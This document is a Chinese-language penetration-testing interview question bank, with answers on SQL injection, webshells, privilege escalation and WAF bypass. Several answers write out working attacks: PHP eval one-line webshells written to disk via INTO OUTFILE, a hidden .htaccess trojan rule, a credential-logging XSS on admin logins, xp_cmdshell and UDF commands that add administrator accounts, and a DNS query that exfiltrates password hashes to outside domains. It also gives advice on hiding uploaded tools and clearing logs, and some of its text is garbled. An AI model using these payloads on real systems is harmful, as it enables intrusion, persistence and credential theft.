目录
[2.mysql 的网站注入,5.0 以上和 5.0 以下有什么区别?](#2.mysql 的网站注入,5.0 以上和 5.0 以下有什么区别?)
[4.判断出网站的 CMS 对渗透有什么意义?](#4.判断出网站的 CMS 对渗透有什么意义?)
[5.一个成熟并且相对安全的 CMS,渗透时扫目录的意义?](#5.一个成熟并且相对安全的 CMS,渗透时扫目录的意义?)
[7.mysql 注入点,用工具对目标站直接写入一句话,需要哪些条件?](#7.mysql 注入点,用工具对目标站直接写入一句话,需要哪些条件?)
[9.如何手工快速判断目标站是 windows 还是 linux 服务器?](#9.如何手工快速判断目标站是 windows 还是 linux 服务器?)
[10.为何一个 mysql 数据库的站,只有一个 80 端口开放?](#10.为何一个 mysql 数据库的站,只有一个 80 端口开放?)
[11.3389 无法连接的几种情况?](#11.3389 无法连接的几种情况?)
[14.拿到一个 webshell 发现网站根目录下有.htaccess 文件,我们能做什么?](#14.拿到一个 webshell 发现网站根目录下有.htaccess 文件,我们能做什么?)
[17.access 扫出后缀为 asp 的数据库文件,访问乱码。如何实现到本地利用?](#17.access 扫出后缀为 asp 的数据库文件,访问乱码。如何实现到本地利用?)
[19.某服务器有站点 A,B 为何在 A 的后台添加 test 用户,访问 B 的后台。发现也添加上了 test 用户?](#19.某服务器有站点 A,B 为何在 A 的后台添加 test 用户,访问 B 的后台。发现也添加上了 test 用户?)
[20.注入时可以不使用 and 或 or 或 xor,直接 order by 开始注入吗?](#20.注入时可以不使用 and 或 or 或 xor,直接 order by 开始注入吗?)
[21:某个防注入系统,在注入时会提示:统检测到你有非法注入的行为。已记录 您的 ip xx.xx.xx.xx 时间:2016:01-23 提交页面:test.asp?id=15 提交内容:and 1=1 如何利用这个防注入系统拿 shell?](#21:某个防注入系统,在注入时会提示:统检测到你有非法注入的行为。已记录 您的 ip xx.xx.xx.xx 时间:2016:01-23 提交页面:test.asp?id=15 提交内容:and 1=1 如何利用这个防注入系统拿 shell?)
24.目标站禁止注册用户,找回密码处随便输入用户名提示:"此用户不存在",你觉得这里怎样利用?
[25.目标站发现某 txt 的下载地址为 http://www.test.com/down/down.php?file=/upwdown/1.txt,你有什么思路?](#25.目标站发现某 txt 的下载地址为 http://www.test.com/down/down.php?file=/upwdown/1.txt,你有什么思路?)
[26.甲给你一个目标站,并且告诉你根目录下存在/abc/目录,并且此目录下存在编辑器和 admin 目录。请问你的想法是?](#26.甲给你一个目标站,并且告诉你根目录下存在/abc/目录,并且此目录下存在编辑器和 admin 目录。请问你的想法是?)
[27.在有 shell 的情况下,如何使用 xss 实现对目标站的长久控制?](#27.在有 shell 的情况下,如何使用 xss 实现对目标站的长久控制?)
28.后台修改管理员密码处,原密码显示为*。你觉得该怎样实现读出这个用户的密码?
[29.目标站无防护,上传图片可以正常访问,上传脚本格式访问则 403.什么原因?](#29.目标站无防护,上传图片可以正常访问,上传脚本格式访问则 403.什么原因?)
[31.在 win2003 服务器中建立一个 .zhongzi 文件夹用意何为?](#31.在 win2003 服务器中建立一个 .zhongzi 文件夹用意何为?)
[32.sql 注入有以下两个测试选项,选一个并且阐述不选另一个的理由?](#32.sql 注入有以下两个测试选项,选一个并且阐述不选另一个的理由?)
[33.以下链接存在 sql 注入漏洞,对于这个变形注入,你有什么思路?](#33.以下链接存在 sql 注入漏洞,对于这个变形注入,你有什么思路?)
[34 发现 demo.jsp?uid=110 注入点,你有哪几种思路获取 webshell,哪种是优选?](#34 发现 demo.jsp?uid=110 注入点,你有哪几种思路获取 webshell,哪种是优选?)
[35.CSRF 和 XSS 和 XXE 有什么区别,以及修复方式?](#35.CSRF 和 XSS 和 XXE 有什么区别,以及修复方式?)
[36.CSRF、SSRF 和重放攻击有什么区别?](#36.CSRF、SSRF 和重放攻击有什么区别?)
[38 圈出下面会话中可能存在问题的项,并标注可能会存在的问题?](#38 圈出下面会话中可能存在问题的项,并标注可能会存在的问题?)
[41.描述一个你深入研究过的 CVE 或 POC?](#41.描述一个你深入研究过的 CVE 或 POC?)
[46.sql 注入的几种类型?](#46.sql 注入的几种类型?)
[50.如何拿一个网站的 webshell?](#50.如何拿一个网站的 webshell?)
[51.sql 注入写文件都有哪些函数?](#51.sql 注入写文件都有哪些函数?)
[52.如何防止 CSRF?](#52.如何防止 CSRF?)
[53.owasp 漏洞都有哪些?](#53.owasp 漏洞都有哪些?)
[54.SQL 注入防护方法?](#54.SQL 注入防护方法?)
[56.img 标签除了 onerror 属性外,还有其他获取管理员路径的办法吗?](#56.img 标签除了 onerror 属性外,还有其他获取管理员路径的办法吗?)
[57.img 标签除了 onerror 属性外,并且 src 属性的后缀名,必须以.jpg 结尾, 怎么获取管理员路径?](#57.img 标签除了 onerror 属性外,并且 src 属性的后缀名,必须以.jpg 结尾, 怎么获取管理员路径?)
[58.怎么绕过 WAF 注入和上传以及 xss?](#58.怎么绕过 WAF 注入和上传以及 xss?)
[60.列举出 oracle 注入获取管理员权限提权典型漏洞?](#60.列举出 oracle 注入获取管理员权限提权典型漏洞?)
[61.mssql 提权的提权思路有哪些步骤?](#61.mssql 提权的提权思路有哪些步骤?)
[62、mssql 提权提示错误代码 5,cmd 权限不足的原因?](#62、mssql 提权提示错误代码 5,cmd 权限不足的原因?)
[63.怎么用 sqlmap 对 sa 权限的 mssql 2008 进行提权?](#63.怎么用 sqlmap 对 sa 权限的 mssql 2008 进行提权?)
[64.xxe 注入有哪些危害以及防御 ?](#64.xxe 注入有哪些危害以及防御 ?)
[65.gpc 魔术引号?](#65.gpc 魔术引号?)
[66.MYSQL 有哪些提权方法?](#66.MYSQL 有哪些提权方法?)
[67.什么叫 ssrf 以及 ssrf 的防御?](#67.什么叫 ssrf 以及 ssrf 的防御?)
[68.如何利用 php 的远程命令执行函数进行反弹 nc?](#68.如何利用 php 的远程命令执行函数进行反弹 nc?)
[71.HTTP 协议 head 方法的功能与 get 方法不同之处是?](#71.HTTP 协议 head 方法的功能与 get 方法不同之处是?)
[75.cookie 存在哪里?可以打开吗?](#75.cookie 存在哪里?可以打开吗?)
[76.xss 如何盗取 cookie?](#76.xss 如何盗取 cookie?)
[77.tcp、udp 的区别及 tcp 三次握手,syn 攻击?](#77.tcp、udp 的区别及 tcp 三次握手,syn 攻击?)
[79.DVWA 是如何搭建的?](#79.DVWA 是如何搭建的?)
1.拿到一个待检测的站,你觉得应该先做什么?
收集信息:whois、网站源 IP、旁站、C 段网站、服务器系统版本、容器版本、
程序版本、数据库类型、二级域名、防火墙、维护者信息另说...
2.mysql 的网站注入,5.0 以上和 5.0 以下有什么区别?
5.0 以下没有 information_schema 这个系统表,无法列表名等,只能暴力跑表名;5.0 以下是多用户单操作,5.0 以上是多用户多操做。
3.在渗透过程中,收集目标站注册人邮箱对我们有什么价值?
(1)丢社工库里看看有没有泄露密码,然后尝试用泄露的密码进行登录后台
(2)用邮箱做关键词进行丢进搜索引擎
(3)利用搜索到的关联信息找出其他邮箱进而得到常用社交账号
(4)社工找出社交账号,里面或许会找出管理员设置密码的习惯
(5)利用已有信息生成专用字典
(6) 观察管理员常逛哪些非大众性网站,拿下它,你会得到更多好东西
4.判断出网站的 CMS 对渗透有什么意义?
查找网上已曝光的程序漏洞,如果开源,还能下载相对应的源码进行代码审计。
5.一个成熟并且相对安全的 CMS,渗透时扫目录的意义?
(1)敏感文件、二级目录扫描
(2)站长的误操作比如:网站备份的压缩文件、说明.txt、二级目录可能存放着其他站点
6.常见的网站服务器容器?
IIS、Apache、nginx、Tomcat,weblogic、jboss
7.mysql 注入点,用工具对目标站直接写入一句话,需要哪些条件?
root 权限以及网站的绝对路径
load_file()读取文件操作
前提:
知道文件的绝对路径
能够使用 union 查询
对 web 目录有写的权限
bash
union select 1,load_file('/etc/passwd'),3,4,5#
0x2f6574632f706173737764
union select 1,load_file(0x2f6574632f706173737764),3,4,5#
路径没有加单引号的话必须转换十六进制
要是想省略单引号的话必须转换十六进制
into outfile 写入文件操作
前提:
文件名必须是全路径(绝对路径)
用户必须有写文件的权限
没有对单引号'过滤
bash
select '<?php phpinfo(); ?>' into outfile 'C:\Windows\tmp\8.php'
select '<?php @eval($_POST["admin"]); ?>' into outfile
'C:\Windows\tmp\8.php'
路径里面两个反斜杠\可以换成一个正斜杠/
PHP 语句没有单引号的话,必须转换成十六进制
要是想省略单引号'的话,必须转换成十六进制
bash
<?php eval($_POST["admin"]); ?> 或者 <?php
eval($_GET["admin"]); ?>
<?php @eval($_POST["admin"]); ?>
<?php phpinfo(); ?>
<?php eval($_POST["admin"]); ?>
建议一句话 PHP 语句转换成十六进制
8.目前已知哪些版本的容器有解析漏洞,具体举例?
(1) IIS 6.0
/xx.asp/xx.jpg "xx.asp"是文件夹名
(2) IIS 7.0/7.5
默认 Fast-CGI 开启,直接在 url 中图片地址后面输入/1.php,会把正常图片
当成 php 解析
(3) Nginx
版本小于等于 0.8.37,利用方法和 IIS 7.0/7.5 一样,Fast-CGI 关闭情况下也
可利用。
空字节代码 xxx.jpg.php
(4)Apache
上传的文件命名为:test.php.x1.x2.x3,Apache 是从右往左判断后缀
(6)lighttpd
xx.jpg/xx.php
9.如何手工快速判断目标站是 windows 还是 linux 服务器?
linux 大小写敏感,windows 大小写不敏感
10.为何一个 mysql 数据库的站,只有一个 80 端口开放?
(1)更改了端口,没有扫描出来
(2) 站库分离
(3) 3306 端口不对外开放
11.3389 无法连接的几种情况?
(1)没开放 3389 端口
(2)端口被修改
(3) 防护拦截
(4)处于内网(需进行端口转发)
12.如何突破注入时字符被转义?
宽字符注入;hex 编码绕过
13.在某后台新闻编辑界面看到编辑器,应该先做什么?
查看编辑器的名称版本,然后搜索公开的漏洞
14.拿到一个 webshell 发现网站根目录下有.htaccess 文件,我们能做什么?
能做的事情很多,用隐藏网马来举例子: 插入
<FilesMatch "xxx.jpg"> SetHandler application/x-httpd-php </FilesMatch>
.jpg 文件会被解析成.php 文件
15.注入漏洞只能查账号密码?
可脱裤,可上传 webshell,可执行命令
16.安全狗会追踪变量,从而发现出是一句话木马吗?
是根据特征码,所以很好绕过
17.access 扫出后缀为 asp 的数据库文件,访问乱码。如何实现到本地利用?
迅雷下载,直接改后缀为.mdb
18.提权时选择可读写目录,为何尽量不用带空格的目录?
因为 exp 执行多半需要空格界定参数
19.某服务器有站点 A,B 为何在 A 的后台添加 test 用户,访问 B 的后台。发现****也添加上了 test 用户?
同数据库
20.注入时可以不使用 and 或 or 或 xor,直接 order by 开始注入吗?
and/or/xor,前面的 1=1、1=2 步骤只是为了判断是否为注入点,如果已经
确定是注入点那就可以省那步骤去
21:某个防注入系统,在注入时会提示:统检测到你有非法注入的行为。已记录您的 ip xx.xx.xx.xx 时间:2016:01-23 提交页面:test.asp?id=15 提交内容:and 1=1 如何利用这个防注入系统拿 shell?
在 URL 里面直接提交一句话,这样网站就把你的一句话也记录进数据库文件了,这个时候可以尝试寻找网站的配置文件 直接上菜刀链接。具体文章参见:http://ytxiao.lofter.com/post/40583a_ab36540
22.上传大马后访问乱码时,有哪些解决办法?
浏览器中改编码
23.审查上传点的元素有什么意义?
有些站点的上传文件类型的限制是在前端实现的,这时只要增加上传类型就
能突破限制了
**24.目标站禁止注册用户,找回密码处随便输入用户名提示:"此用户不存在",**你觉得这里怎样利用?
先爆破用户名,再利用被爆破出来的用户名爆破密码。
25.目标站发现某 txt 的下载地址为****http://www.test.com/down/down.php?file=/upwdown/1.txt,你有什****么思路?
这就任意文件下载漏洞,在 file=后面尝试输入 index.php 下载他的首页文件,
然后在首页文件里继续查找其他网站的配置文件,可以找出网站的数据库密码和
数据库的地址。
26.甲给你一个目标站,并且告诉你根目录下存在/abc/目录,并且此目录下存****在编辑器和 admin 目录。请问你的想法是?
直接在网站二级目录/abc/下扫描敏感文件及目录
27.在有 shell 的情况下,如何使用 xss 实现对目标站的长久控制?
(1)后台登录处加一段记录登录账号密码的 js,并且判断是否登录成功,如果登录成功,就把账号密码记录到一个生僻的路径的文件中或者直接发到自己的网站文件中。(此方法适合有价值并且需要深入控制权限的网络)
(2)在登录后才可以访问的文件中插入 XSS 脚本
28.后台修改管理员密码处,原密码显示为*。你觉得该怎样实现读出这个用户的****密码?
审查元素 把密码处的 password 属性改成 text 就明文显示了
29.目标站无防护,上传图片可以正常访问,上传脚本格式访问则 403.什么原****因?
原因很多,有可能 web 服务器配置把上传目录写死了不执行相应脚本,尝试
改后缀名绕过
30.审查元素得知网站所使用的防护软件,你觉得怎样做到的?
在敏感操作被拦截,通过界面信息无法具体判断是什么防护的时候,F12 看
HTML 体部 比如护卫神就可以在名称那看到<hws>内容<hws>
31.在 win2003 服务器中建立一个 .zhongzi 文件夹用意何为?
隐藏文件夹,为了不让管理员发现你传上去的工具
32.sql 注入有以下两个测试选项,选一个并且阐述不选另一个的理由?
A. demo.jsp?id=2+1 B. demo.jsp?id=2-1
选 B,在 URL 编码中 + 代表空格,可能会造成混淆
33.以下链接存在 sql 注入漏洞,对于这个变形注入,你有什么思路?
demo.do?DATA=AjAxNg==
DATA 有可能经过了 base64 编码再传入服务器,所以我们也要对参数进行
base64 编码才能正确完成测试
34 发现 demo.jsp?uid=110 注入点,你有哪几种思路获取 webshell,哪种****是优选?
(1)有写入权限的,构造联合查询语句使用 using INTO OUTFILE,可以将查询的输出重定向到系统的文件中,这样去写入 WebShell
(2)使用 sqlmap --os-shell 原理和上面一种相同,来直接获得一个 Shell,这样效率更高
(3)通过构造联合查询语句得到网站管理员的账户和密码,然后扫后台登录后台,再在后台通过改包上传等方法上传 Shell
35.CSRF 和 XSS 和 XXE 有什么区别,以及修复方式?
(1)XSS 是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。
修复方式:对字符实体进行转义、使用 HTTP Only 来禁止 JavaScript 读取Cookie 值、输入时校验、浏览器与 Web 应用端采用相同的字符编码。
(2)CSRF 是跨站请求伪造攻击,XSS 是实现 CSRF 的诸多手段中的一种,是由于没有在关键操作执行时进行是否由用户自愿发起的确认。
修复方式:筛选出需要防范 CSRF 的页面然后嵌入 Token、再次输入密码、检验 Referer
(3)XXE 是 XML 外部实体注入攻击,XML 中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。修复方式:XML 解析库在调用时严格禁止对外部实体的解析。
36.CSRF、SSRF 和重放攻击有什么区别?
(1)CSRF 是跨站请求伪造攻击,由客户端发起
(2)SSRF 是服务器端请求伪造,由服务器发起
(3)重放攻击是将截获的数据包进行重放,达到身份认证等目的
37.说出至少三种业务逻辑漏洞,以及修复方式?
(1)密码找回漏洞中存在密码允许暴力破解、存在通用型找回凭证、可以跳过验
证步骤、找回凭证可以拦包获取等方式来通过厂商提供的密码找回功能来得到密
码
(2)身份认证漏洞中最常见的是会话固定攻击和 Cookie 仿冒,只要得到
Session 或 Cookie 即可伪造用户身份
(3)验证码漏洞中存在验证码允许暴力破解、验证码可以通过 Javascript 或者改
包的方法来进行绕过
38 圈出下面会话中可能存在问题的项,并标注可能会存在的问题?
GET /ecskins/demo.jsp?uid=2016031900&keyword="hello world!"
HTTP/1.1
Host: ***com:82
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0)
Gecko/20100101 Firefox/45.0
Accept: text/css,/;q=0.1
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://*******com:82/eciop/orderForCC/cgtListForCC.htm?zone
=11370601&v=1459663591817
Cookie:myguid1234567890=1349db5fe50c372c3d995709f54c273d;
uniqueuserid=session_0GRMiFiYJhAh5_HZrQoZamJ;
st_uid=N90pIYHLZgjXI-NX01vPUf46w952J-0NcX19vgj1L%3DJXrZP9sf0I
Y-vEI9iNIX150iLXKat1YZLnUf46Z%2C5aec5biM5rCROueDn%2BWPsOeD
n%2BiNiTrng5%2Flj7A%3D; status=True
Connection: keep-alive
(标红 1:sql 注入,标红 2:xss,标红 3:cookies 欺骗,4:会话 CSRF 或重 放风险。)考对 HTTP 数据包字段敏感度及会话渗透经验。
39.找一类你最擅长的漏洞,谈下绕过漏洞修复后的方案?
40.你常用的渗透工具有哪些,最常用的是哪个?
burpsuit,appscan,avwvs,sqlmap,fiddler 等
41.描述一个你深入研究过的 CVE 或 POC?
如 cve-2017-11191 offcie 的 dde 漏洞
42.谈谈你经常关注的安全平台?
如,tools.net,90sec,先知社区,安全客,freebuf 等
43.给你一个网站你是如何来渗透测试的?
在获取书面授权的前提下:
(1)信息收集,
1.获取域名的 whois 信息,获取注册者邮箱姓名电话等。
2.查询服务器旁站以及子域名站点,因为主站一般比较难,所以先看看旁
站有没有通用性的 cms 或者其他漏洞。
3.查看服务器操作系统版本,web 中间件,看看是否存在已知的漏洞,比
如 IIS,APACHE,NGINX 的解析漏洞
4.查看 IP,进行 IP 地址端口扫描,对响应的端口进行漏洞探测,比如 rsync,
心脏出血,mysql,ftp,ssh 弱口令等。
5.扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏,比如
php 探针
6.google hack 进一步探测网站的信息,后台,敏感文件
(2)漏洞扫描
开始检测漏洞,如 XSS,XSRF,sql 注入,代码执行,命令执行,越权访问,
目录读取,任意文件读取,下载,文件包含, 远程命令执行,弱口令,上传,
编辑器漏洞,暴力破解等
(3)漏洞利用
利用以上的方式拿到 webshell,或者其他权限
(4)权限提升
提权服务器,比如 windows 下 mysql 的 udf 提权,serv-u 提权,windows
低版本的漏洞,如 iis6,pr,巴西烤肉,linux 脏牛漏洞,linux 内核版本漏洞提权,
linux 下的 mysql system 提权以及 oracle 低权限提权
(5)日志清理
(6)总结报告及修复方案
或者:
1)信息收集
a. 服务器的相关信息(真实 ip,系统类型,版本,开放端口,WAF 等)
b. 网站指纹识别(包括,cms,cdn,证书等),dns 记录
c. whois 信息,姓名,备案,邮箱,电话反查(邮箱丢社工库,社工准备等)
d. 子域名收集,旁站查询(有授权可渗透),C 段等
e. google hacking 针对化搜索,pdf 文件,中间件版本,弱口令扫描等 f. 扫描网站目录结构,爆后台,网站 banner,测试文件,备份等敏感文件泄漏
等
i. 传输协议,通用漏洞,exp,github 源码等
2)漏洞挖掘
1> 浏览网站,看看网站规模,功能,特点等
2> 端口,弱口令,目录等扫描
3> XSS,SQL 注入,命令注入,CSRF,cookie 安全检测,敏感信息,通信数
据传输,暴力破解,任意文件上传,越权访问,未授权访问,目录遍历,文件 包
含,重放攻击(短信轰炸),服务器漏洞检测,最后使用漏扫工具等
3)漏洞利用 | 权限提升
a) mysql 提权,serv-u 提权,linux 内核版本提权等
4)清除测试数据 | 输出报告
i 日志、测试数据的清理
ii 总结,输出渗透测试报告,附修复方案
5) 复测
验证并发现是否有新漏洞,输出报告,归档
44.sqlmap,怎么对一个注入点注入?
(1)如果是 get 型号,直接,sqlmap -u "诸如点网址".
(2)如果是 post 型诸如点,可以 sqlmap -u "注入点网址" --data="post
的参数"
(3)如果是 cookie,X-Forwarded-For 等,可以访问的时候,用 burpsuite
抓包,注入处用*号替换,放到文件里,然后 sqlmap -r "文件地址"
45.nmap,扫描的几种方式?
46.sql 注入的几种类型?
(1)报错注入
(2)bool 型注入
(3)延时注入
(4)宽字节注入
47.报错注入的函数有哪些?
(1)and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】
(2)通过 floor 报错 向下取整
(3)+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)
4)geometrycollection()select from test where id=1 and
geometrycollection((select from(selectfrom(select user())a)b));
(5)multipoint()select from test where id=1 and
multipoint((select from(select from(select user())a)b));
(5)polygon()select from test where id=1 and polygon((select from(select from(select user())a)b));
(7)multipolygon()select from test where id=1 and
multipolygon((select from(select from(select user())a)b));
(8)linestring()select from test where id=1 and
linestring((select from(select from(select user())a)b));
(9)multilinestring()select from test where id=1 and
multilinestring((select from(select from(select user())a)b));
(10)exp()select from test where id=1 and exp(~(select * from(select
user())a));
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串
48.延时注入如何来判断?
(1)if(ascii(substr("hello", 1, 1))=104
(2) sleep(5), 1)
49.盲注和延时注入的共同点?
都是一个字符一个字符的判断
50.如何拿一个网站的 webshell?
上传,后台编辑模板,sql 注入写文件,命令执行,代码执行,一些已经爆出
的 cms 漏洞,比如 dedecms 后台可以直接建立脚本文件,wordpress 上传插
件包含脚本文件 zip 压缩包等
51.sql 注入写文件都有哪些函数?
(1)select '一句话' into outfile '路径'
(2)select '一句话' into dumpfile '路径'
(3) select '<?php eval($_POST[1]) ?>' into
dumpfile 'd:\wwwroot\baidu.com\nvhack.php';
52.如何防止 CSRF?
(1)验证 referer
(2)验证 token
详细:http://cnodejs.org/topic/5533dd6e9138f09b629674fd
53.owasp 漏洞都有哪些?
(1)SQL 注入防护方法:
(2)失效的身份认证和会话管理
(3)跨站脚本攻击 XSS
(4)直接引用不安全的对象
(5)安全配置错误
(6)敏感信息泄露
(7)缺少功能级的访问控制
(8)跨站请求伪造 CSRF
(9)使用含有已知漏洞的组件
(1))未验证的重定向和转发
54.SQL 注入防护方法?
(1)使用安全的 API
(2)对输入的特殊字符进行 Escape 转义处理 (3)使用白名单来规范化输入验证方法
(4)对客户端输入进行控制,不允许输入 SQL 注入相关的特殊字符
(5)服务器端在提交数据库进行 SQL 查询之前,对特殊字符进行过滤、转义、
替换、删除。
55.代码执行,文件读取,命令执行的函数都有哪些?
(1)代码执行:
eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_fu
nction
(2)文件读取:file_get_contents(),highlight_file(),fopen(),read
file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等
(3)命令执行:system(), exec(), shell_exec(), passthru() ,pcntl_exec(),
popen(),proc_open()
56.img 标签除了 onerror 属性外,还有其他获取管理员路径的办法吗?
src 指定一个远程的脚本文件,获取 referer
**57.img 标签除了 onerror 属性外,并且 src 属性的后缀名,必须以.jpg 结尾,**怎么获取管理员路径?
1,远程服务器修改 apache 配置文件,配置.jpg 文件以 php 方式来解析
AddType application/x-httpd-php .jpg
<img src=http://xss.tv/1.jpg\> 会以 php 方式来解析
58.怎么绕过 WAF 注入和上传以及 xss?
(1)关键字可以用%(只限 IIS 系列),比如 select 可以 sel%e%ct。原理:网络层 waf 对 SEL%E%CT 进行 url 解码后变成 SEL%E%CT,匹配 select 失败,而进入 asp.dll 对 SEL%E%CT 进行 url 解码却变成 select。IIS 下的 asp.dll 文件在对 asp 文件后参数串进行 url 解码时,会直接过滤掉 09-0d(09 是 tab 键,0d是回车)、20(空格)、%(后两个字符有一个不是十六进制)字符。xss 也是同理。
(2)内联注释。安全狗不拦截,但是安全宝、加速乐、D 盾等,看到/!/就 Fack 了,所以只限于安全狗。比如:/!select*/
(3)编码。这个方法对 waf 很有效果,因为一般 waf 会解码,但是我们利用这个特点,进行两次编码,他解了第一次但不会解第二次,就 bypass 了。腾讯waf、百度 waf 等等都可以这样 bypass 的
(4)绕过策略如:伪造搜索引擎
早些版本的安全狗是有这个漏洞的,就是把 User-Agent 修改为搜索引擎
(5)插入关键目录 admin,dede,install 等目录绕过 360webscan
360webscan脚本存在这个问题,就是判断是否为admin dede install 等目录,
如果是则不做拦截
GET /pen/news.php?id=1 union select user,password from mysql.user
GET /pen/news.php/admin?id=1 union select user,password from
mysql.user
GET /pen/admin/..\news.php?id=1 union select user,password from
mysql.user
(6)multipart 请求绕过,在 POST 请求中添加一个上传文件,绕过了绝大多数 WAF。
(7)参数绕过,复制参数,id=1&id=1 用一些特殊字符代替空格,比如在 mysql 中%0a 是换行,可以代替空格,这个 方法也可以部分绕过最新版本的安全狗,在 sqlserver 中可以用/**/代替空格
(8)内联注释,
文件上传,复制文件包一份再加一份
在 form-data;后面增加一定的字符
59.既然宽字节注入可以绕过单引号过滤,那么怎么来修复呢?
宽字符:解 决方法:就是在初始化连接和字符集之后,使用 SET character_set_client=binary 来设定客户端的字符集是二进制的。修改 Windows 下的 MySQL 配置文件一般是 my.ini,Linux 下的 MySQL 配置文件 一般是 my.cnf,比如:mysql_query("SETcharacter_set_client=binary");。 character_set_client 指定的是 SQL 语句的编码,如果设置为 binary,MySQL 就以二进制来执行,这样宽字节编码问题就没有用武之地了。
详细参考:
http://wenku.baidu.com/link?url=F4Cq18NYdsnATq3eqtr3zCWLKExoEY
V62yJp5zsfM5c85iv4rldTvl1A_SGilEAiWB_O_hg0C9A8VLoIT4K_HxyyF0Z7
xo5Pihh1VxxYa4QGiXQ_wGDjiOFHubYvshgl
60.列举出 oracle 注入获取管理员权限提权典型漏洞?
【漏洞名称】 sys.dbms_export_extension.get_domain_index_metadata 提
升权限漏洞
【影响平台】Oracle 8i / 9i / 10g / XE
【风险等级】高【攻击需求】较低权限账号
【造成危害】取得管理员权限
61.mssql 提权的提权思路有哪些步骤?
(1)首先看看 xp_cmdshel 是否 l 存在,不存在的话先恢复,恢复语句如下:
Exec sp_configure show advanced options,1;RECONFIGURE;EXEC sp_configure xp_cmdshell,1;RECONFIGURE; ;EXEC sp_configure show advanced options, 1;RECONFIGURE;EXEC sp_configure xp_cmdshell, 1;RECONFIGURE;--
(2)如果 xp_cmdshell 还是不行就再执行命令
;dbcc addextendedproc("xp_cmdshell","xplog70.dll");-- 或;sp_addextendedproc xp_cmdshell,@dllname=xplog70.dll 来恢复 cmdshell
(3)无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指
定的程序。)
恢复方法:查询分离器连接后,
第一步执行:exec sp_dropextendedproc xp_cmdshell
第二步执行:exec sp_addextendedproc xp_cmdshell,xpweb70.dll
然后按 F5 键命令执行完毕
(4)终极方法 如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
查询分离器连接后,
2000servser 系统:
declare @shell int exec sp_oacreate wscript.shell,@shell output exec
sp_oamethod @shell,run,null,c:winntsystem32cmd.exe /c net user dell
huxifeng007 /add
declare @shell int exec sp_oacreate wscript.shell,@shell output exec
sp_oamethod @shell,run,null,c:winntsystem32cmd.exe /c net localgroup
administrators dell /add
sql2008 提权 低权限运行
62、mssql 提权提示错误代码 5,cmd 权限不足的原因?
错误代码"5″,马上 google 之。由于 xp_cmdshell 是严格 用%systemroot%\system32\cmd.exe 去执行所提交的命令的,提示"5″,意 思是 cmd 的权限不足,就是说 system32 下的 cmd.exe 被降权了。当然也有绕 过的方法,比如启用沙盒模式执行 shell 命令:
63.怎么用 sqlmap 对 sa 权限的 mssql 2008 进行提权?
(1)第一种函数
bash
select name from sysobjects where xtype=u 通过这个来爆第一个表
select name from sysobjects where xtype=u and name not in(爆出来的表
1,爆出来的表 2...)
一直爆下去,直到找到我们所需要的表位置
(2)第二种函数
bash
select table_name from information_schema.tables
select table_name from information_schema.tables where table_name
not in (爆出来的表 1,爆出来的表 2...)
参考文章:http://www.freebuf.com/articles/web/10280.html
64.xxe 注入有哪些危害以及防御 ?
91)引用外部实体<!ENTITY 实体名称 SYSTEM "URI">或者 <!ENTITY 实体
名称 PUBLIC "public_ID" "URI">
当允许引用外部实体时,通过构造恶意内容
(2)可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。 对于不同 XML 解析器,对外部实体有不同处理规则,在 PHP 中默认处理的函数为: xml_parse 和 simplexml_load xml_parse 的实现方式为 expat 库,默认情况不会解析外部实体,而 simplexml_load 默认情况下会解析外部实体,造成安全威胁. 除 PHP 外,在 Java,Python 等处理 xml 的组件及函数中都可能存在此问题
https://www.waitalone.cn/xxe-attack.html
XXE 漏洞 http://www.91ri.org/9539.html
<!DOCTYPE filename
\
(3)防御:
方案一、使用开发语言提供的禁用外部实体的方法 libxml_disable_entity_loader(true);
方案二、过滤用户提交的 XML 数据
1.检查所使用的底层 xml 解析库,默认禁止外部实体的解析 2.使用第三方应用代码及时升级补丁
3.同时增强对系统的监控,防止此问题被人利用
对于 PHP,由于 simplexml_load_string 函数的 XML 解析问题出在 libxml 库上, 所以加载实体前可以调用这样一个函数
## **65.gpc 魔术引号?**
参考文章: http://www.jb51.net/article/38990
## **66.MYSQL 有哪些提权方法?**
(1)UDF 提权
这类提权方法我想大家已经知道了,我大致写一下,具体语句如下:
```javascript
create function cmdshell returns string soname 'udf.dll'
select cmdshell('net user iis_user 123!@#abcABC /add');
select cmdshell('net localgroup administrators iis_user /add');
select cmdshell('regedit /s d:web3389.reg');
drop function cmdshell;
select cmdshell('netstat -an');
```
(2)VBS 启动项提权
```bash
create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"") " );
insert into a values ("a=wshshell.run (""cmd.exe /c net user iis_user
123!@#abcABC/add"",0) " );
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup
administrators iis_user /add"",0) " );
select * from a into outfile "C:\Documents and Settings\All Users\「开始」
菜单\程序\启动\a.vbs";
```
(3)Linx MySQL BackDoor 提权
Linx Mysql Door
Mysql BackDoor 是一款针对 PHP+Mysql 服务器开发的后门,该后门安装后为Mysql增加一个可以执行系统命令的"state"函数,并且随Mysql进程启动一个基于 Dll 的嗅探型后门,这个后门在 Windows 下拥有与 Mysql 一样的系统权限,从而巧妙的实现了无端口,无进程,无服务的穿墙木马. 用法:将 Mysql.php 传到 PHP 服务器上,点击"自动安装 Mysql BackDoor",然后直接执行命令即可
(4)MIX.DLL 提权
1.在独立 IP 的 sqlmap 下运
2.禁用本地缓存 net stop dns
3.http://localhost/inject.php?user=123' and if((SELECT LOAD_FILE(CONCAT('\\\\',(SELECT
hex(user())),'.abc.com\\foobar'))),1,1)%23 http://localhost/inject.php?user=123' and if((SELECT
LOADFILE(CONCAT('\\\\',(SELECT concat(user,'',mid(password,2,41)) from user where user='root' limit 1),'.md5crack.cn\\foobar'))),1,1)%23
https://sanwen8.cn/p/1acWt8J.html 4.DNS 突破
参考文章:http://www.freebuf.com/vuls/85021.html
## **67.什么叫 ssrf 以及 ssrf 的防御?**
